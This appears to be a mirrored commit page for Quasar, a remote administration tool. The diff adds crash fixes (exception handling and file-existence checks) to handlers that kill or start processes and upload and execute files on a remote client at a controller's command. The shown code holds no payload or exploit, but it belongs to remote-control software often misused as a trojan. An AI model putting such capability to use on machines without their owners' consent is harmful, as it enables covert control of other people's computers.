mirror of https://github.com/quasar/Quasar.git
Merge pull request #76 from yankejustin/master
Fixed two separate crashes
This commit is contained in:
commit
304a342f19
|
@ -312,19 +312,30 @@ public static void HandleKillProcess(Packets.ServerPackets.KillProcess command,
|
|||
Process.GetProcessById(command.PID).Kill();
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
finally
|
||||
{
|
||||
}
|
||||
|
||||
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo {UseShellExecute = true, FileName = command.Processname};
|
||||
if (!string.IsNullOrEmpty(command.Processname))
|
||||
{
|
||||
try
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname };
|
||||
Process.Start(startInfo);
|
||||
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
finally
|
||||
{
|
||||
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)
|
||||
{
|
||||
|
|
|
@ -530,7 +530,7 @@ private void ctxtLocalFile_Click(object sender, EventArgs e)
|
|||
{
|
||||
using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
|
||||
{
|
||||
if (frm.ShowDialog() == DialogResult.OK)
|
||||
if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath))
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
|
|
Loading…
Reference in New Issue